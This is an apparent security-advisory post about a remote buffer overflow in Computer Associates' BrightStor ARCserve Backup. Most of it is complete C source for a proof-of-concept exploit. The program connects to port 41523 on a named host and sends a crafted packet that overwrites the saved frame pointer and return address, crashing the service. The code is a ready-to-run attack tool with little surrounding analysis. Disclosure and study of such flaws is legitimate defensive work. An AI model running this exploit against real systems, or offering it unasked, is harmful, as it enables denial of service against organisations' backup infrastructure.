[EXPL] BrightStor ARCserve Backup Buffer Overflow

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  BrightStor ARCserve Backup Buffer Overflow
------------------------------------------------------------------------


SUMMARY

 <http://www3.ca.com/Solutions/ProductFamily.asp?ID=115> BrightStor 
ARCserve Backup for Windows "delivers backup and restore protection for 
all Windows server systems as well as Windows, Linux, Mac OS X and UNIX 
client environments".

Remote exploitation of a buffer overflow vulnerability in Computer 
Associates International Inc's BrightStor ARCserve Backup allows remote 
attackers to cause the program to crash.

DETAILS

Exploit:
//cybertronic@gmx.net

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

#define RED     "\E[31m\E[1m"
#define GREEN   "\E[32m\E[1m"
#define YELLOW  "\E[33m\E[1m"
#define BLUE    "\E[34m\E[1m"
#define NORMAL  "\E[m"

#define PORT    41523

void
start ( int s )
{
        char buffer[4096];

        bzero ( &buffer, 4096 );
        memset ( buffer, 0x41, 50 );
        buffer[0] = 0x9b;
        buffer[1] = 0x53; //S
        buffer[2] = 0x45; //E
        buffer[3] = 0x52; //R
        buffer[4] = 0x56; //V
        buffer[5] = 0x49; //I
        buffer[6] = 0x43; //C
        buffer[7] = 0x45; //E
        buffer[8] = 0x50; //P
        buffer[9] = 0x43; //C
        buffer[17] = 0x18;
        buffer[21] = 0xc0;
        buffer[22] = 0xa8;
        buffer[23] = 0x02;
        buffer[24] = 0x67;
        buffer[25] = 0x53; //S
        buffer[26] = 0x45; //E
        buffer[27] = 0x52; //R
        buffer[28] = 0x56; //V
        buffer[29] = 0x49; //I
        buffer[30] = 0x43; //C
        buffer[31] = 0x45; //E
        buffer[32] = 0x50; //P
        buffer[33] = 0x43; //C
        buffer[41] = 0x01;
        buffer[43] = 0x0c;
        buffer[44] = 0x6c;
        buffer[45] = 0x93;
        buffer[46] = 0xce;
        buffer[47] = 0x18;
        buffer[48] = 0x18;
        //ebp
        buffer[49] = 0xbe;
        buffer[50] = 0xba;
        buffer[51] = 0xad;
        buffer[52] = 0xde;
        //eip
        buffer[53] = 0xde;
        buffer[54] = 0xc0;
        buffer[55] = 0xad;
        buffer[56] = 0xde;

        printf ( "[*] Sending buffer [ %d bytes ]...", strlen ( buffer ) 
);
        if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
        {
                printf ( RED "Send failed!\n" NORMAL );
                exit ( 1 );
        }
        printf ( GREEN "OK!\n" NORMAL );
        sleep ( 1 );
}

int
main ( int argc, char *argv[] )
{

        int s;
        struct hostent *he;
        struct sockaddr_in addr;

        if ( argc != 2 )
        {
                fprintf ( stderr,"Usage: %s hostname\n", argv[0] );
                exit ( 1 );
        }


        printf ( "Resolving hostname..." );
        if ( ( he = gethostbyname ( argv[1] ) ) == NULL )
        {
                printf ( RED "FAILED!\n" NORMAL );
                exit ( 1 );
        }
        printf ( "OK!\n" );


        if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
        {
                exit ( 1 );
        }


        addr.sin_family = AF_INET;
        addr.sin_port = htons ( PORT );
        addr.sin_addr = *( ( struct in_addr * ) he->h_addr );


        printf ( "Connecting to %s...", argv[1] );
        if ( connect ( s, ( struct sockaddr * ) &addr, sizeof ( struct 
sockaddr ) ) == -1 )
        {
                printf ( RED "FAILED!\n" NORMAL );
                exit ( 1 );
        }
        printf ( "OK!\n" );
        start ( s );
        close ( s );
        return ( 0 );
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:cybertronic@gmx.net> 
cybertronic.



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